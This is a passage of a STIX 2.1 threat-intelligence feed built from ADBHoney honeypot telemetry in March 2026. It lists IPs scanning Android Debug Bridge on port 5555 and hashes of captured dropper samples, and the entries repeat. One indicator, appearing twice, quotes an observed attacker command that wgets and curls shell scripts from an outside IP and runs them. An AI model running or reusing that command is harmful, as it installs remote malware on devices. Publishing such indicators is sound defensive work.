      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T04:00:03.000Z",
      "valid_until": "2026-04-16T04:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 23,
          "first_seen": "2026-03-15T03:22:52.000Z",
          "last_seen": "2026-03-15T03:34:19.917Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-15T04:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=237; ports=5555; cc=US; asn=202425; asn_org=IP Volume inc; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=471 | first_seen=2026-03-15T03:36:51.000Z | last_seen=2026-03-20T09:19:29.017Z | ports=5555 | cc=US | asn=202425 | org=IP Volume inc",
      "id": "indicator--e7165df4-de32-491d-bd33-b66a17373e9f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.242.226.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T04:00:03.000Z",
      "valid_until": "2026-04-16T04:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 471,
          "first_seen": "2026-03-15T03:36:51.000Z",
          "last_seen": "2026-03-20T09:19:29.017Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "202425"
          ],
          "org": [
            "IP Volume inc"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-15T04:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=14; ports=5555; cc=US; asn=210644; asn_org=Aeza Group LLC; adb_cmd_hits=1; cmd=\"cd /data/local/tmp/; busybox wget http://176.65.139.48/w.sh; sh w.sh; curl http://176.65.139.48/c.sh; sh c.sh\"\n\nObserved in ADBHoney telemetry for 2026-03. events=14 | first_seen=2026-03-15T03:43:36.000Z | last_seen=2026-03-15T03:47:27.286Z | ports=5555 | cc=US | asn=210644 | org=Aeza Group LLC",
      "id": "indicator--e013f7a5-dfdb-4ba1-a4ab-b3217eda9c48",
      "labels": [
        "malware_hosting",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '77.110.124.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T04:00:03.000Z",
      "valid_until": "2026-04-16T04:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 14,
          "first_seen": "2026-03-15T03:43:36.000Z",
          "last_seen": "2026-03-15T03:47:27.286Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "210644"
          ],
          "org": [
            "Aeza Group LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-15T04:00:03.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/5c03b8d9830a9f5a0f6844a5180fdaa95dd1973f8aca00b2ce4e57cf8304380e.raw; last_seen=2026-03-15T03:45:35.942Z",
      "id": "indicator--be2540e7-f9ce-4bf4-bca5-e911600bd8d0",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[file:hashes.'SHA-256' = '5c03b8d9830a9f5a0f6844a5180fdaa95dd1973f8aca00b2ce4e57cf8304380e']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T04:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-15T04:00:03.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/9cf96c1c920d2af0bb28f33d07e2b1f172f4f0d3fdfc2bbe60a27cbe352ef5ca.raw; last_seen=2026-03-15T03:45:36.226Z",
      "id": "indicator--117da9f9-d5cf-4c4a-bceb-d93b0dc25a13",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[file:hashes.'SHA-256' = '9cf96c1c920d2af0bb28f33d07e2b1f172f4f0d3fdfc2bbe60a27cbe352ef5ca']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T04:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-15T04:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=14; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=14 | first_seen=2026-03-15T03:36:53.000Z | last_seen=2026-03-15T03:47:06.306Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--c8267e40-a59f-45e8-a835-cd82000bedb6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '142.93.0.54']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T04:00:03.000Z",
      "valid_until": "2026-04-16T04:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 14,
          "first_seen": "2026-03-15T03:36:53.000Z",
          "last_seen": "2026-03-15T03:47:06.306Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-15T04:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=23; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=23 | first_seen=2026-03-15T03:22:52.000Z | last_seen=2026-03-15T03:34:19.917Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--fca86e33-9c3e-47fc-9348-b6ebe2754ff1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T04:00:03.000Z",
      "valid_until": "2026-04-16T04:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 23,
          "first_seen": "2026-03-15T03:22:52.000Z",
          "last_seen": "2026-03-15T03:34:19.917Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-15T04:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=237; ports=5555; cc=US; asn=202425; asn_org=IP Volume inc; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=471 | first_seen=2026-03-15T03:36:51.000Z | last_seen=2026-03-20T09:19:29.017Z | ports=5555 | cc=US | asn=202425 | org=IP Volume inc",
      "id": "indicator--e7165df4-de32-491d-bd33-b66a17373e9f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.242.226.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T04:00:03.000Z",
      "valid_until": "2026-04-16T04:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 471,
          "first_seen": "2026-03-15T03:36:51.000Z",
          "last_seen": "2026-03-20T09:19:29.017Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "202425"
          ],
          "org": [
            "IP Volume inc"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-15T04:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=14; ports=5555; cc=US; asn=210644; asn_org=Aeza Group LLC; adb_cmd_hits=1; cmd=\"cd /data/local/tmp/; busybox wget http://176.65.139.48/w.sh; sh w.sh; curl http://176.65.139.48/c.sh; sh c.sh\"\n\nObserved in ADBHoney telemetry for 2026-03. events=14 | first_seen=2026-03-15T03:43:36.000Z | last_seen=2026-03-15T03:47:27.286Z | ports=5555 | cc=US | asn=210644 | org=Aeza Group LLC",
      "id": "indicator--e013f7a5-dfdb-4ba1-a4ab-b3217eda9c48",
      "labels": [
        "malware_hosting",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '77.110.124.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T04:00:03.000Z",
      "valid_until": "2026-04-16T04:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 14,
          "first_seen": "2026-03-15T03:43:36.000Z",
          "last_seen": "2026-03-15T03:47:27.286Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "210644"
          ],
          "org": [
            "Aeza Group LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-15T04:00:03.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/5c03b8d9830a9f5a0f6844a5180fdaa95dd1973f8aca00b2ce4e57cf8304380e.raw; last_seen=2026-03-15T03:45:35.942Z",
      "id": "indicator--be2540e7-f9ce-4bf4-bca5-e911600bd8d0",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[file:hashes.'SHA-256' = '5c03b8d9830a9f5a0f6844a5180fdaa95dd1973f8aca00b2ce4e57cf8304380e']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T04:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-15T04:00:03.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/9cf96c1c920d2af0bb28f33d07e2b1f172f4f0d3fdfc2bbe60a27cbe352ef5ca.raw; last_seen=2026-03-15T03:45:36.226Z",
      "id": "indicator--117da9f9-d5cf-4c4a-bceb-d93b0dc25a13",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[file:hashes.'SHA-256' = '9cf96c1c920d2af0bb28f33d07e2b1f172f4f0d3fdfc2bbe60a27cbe352ef5ca']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T04:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-15T06:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=14; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=14 | first_seen=2026-03-15T05:27:45.000Z | last_seen=2026-03-15T05:37:55.163Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--efcf9514-9e6b-40a0-aab1-e5843d07c2ee",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '143.198.72.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T06:00:02.000Z",
      "valid_until": "2026-04-16T06:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 14,
          "first_seen": "2026-03-15T05:27:45.000Z",
          "last_seen": "2026-03-15T05:37:55.163Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-15T06:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=14; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=14 | first_seen=2026-03-15T05:27:45.000Z | last_seen=2026-03-15T05:37:55.163Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--efcf9514-9e6b-40a0-aab1-e5843d07c2ee",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '143.198.72.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T06:00:02.000Z",
      "valid_until": "2026-04-16T06:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 14,
          "first_seen": "2026-03-15T05:27:45.000Z",
          "last_seen": "2026-03-15T05:37:55.163Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-15T09:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=14; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=14 | first_seen=2026-03-15T08:28:42.000Z | last_seen=2026-03-15T08:40:01.899Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--f1ec5304-3ec8-4bf8-acef-6df427d74888",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T09:00:02.000Z",
      "valid_until": "2026-04-16T09:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 14,
          "first_seen": "2026-03-15T08:28:42.000Z",
          "last_seen": "2026-03-15T08:40:01.899Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-15T09:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=14; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=14 | first_seen=2026-03-15T08:28:42.000Z | last_seen=2026-03-15T08:40:01.899Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--f1ec5304-3ec8-4bf8-acef-6df427d74888",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T09:00:03.000Z",
      "valid_until": "2026-04-16T09:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 14,
          "first_seen": "2026-03-15T08:28:42.000Z",
          "last_seen": "2026-03-15T08:40:01.899Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-15T10:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=17; ports=5555; cc=CA; asn=14061; asn_org=DigitalOcean, LLC; cats=Detection of a Network Scan,Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=29 | first_seen=2026-03-15T09:46:28.000Z | last_seen=2026-03-24T17:11:17.631Z | ports=5555 | cc=CA | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--5e58c20e-d703-481d-96a9-f1ee09e3aee5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '137.184.169.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T10:00:04.000Z",
      "valid_until": "2026-04-16T10:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 29,
          "first_seen": "2026-03-15T09:46:28.000Z",
          "last_seen": "2026-03-24T17:11:17.631Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CA"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-15T10:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=17; ports=5555; cc=CA; asn=14061; asn_org=DigitalOcean, LLC; cats=Detection of a Network Scan,Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=29 | first_seen=2026-03-15T09:46:28.000Z | last_seen=2026-03-24T17:11:17.631Z | ports=5555 | cc=CA | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--5e58c20e-d703-481d-96a9-f1ee09e3aee5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '137.184.169.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-15T10:00:04.000Z",
      "valid_until": "2026-04-16T10:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 29,
          "first_seen": "2026-03-15T09:46:28.000Z",
          "last_seen": "2026-03-24T17:11:17.631Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CA"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-15T11:00:02.000Z",
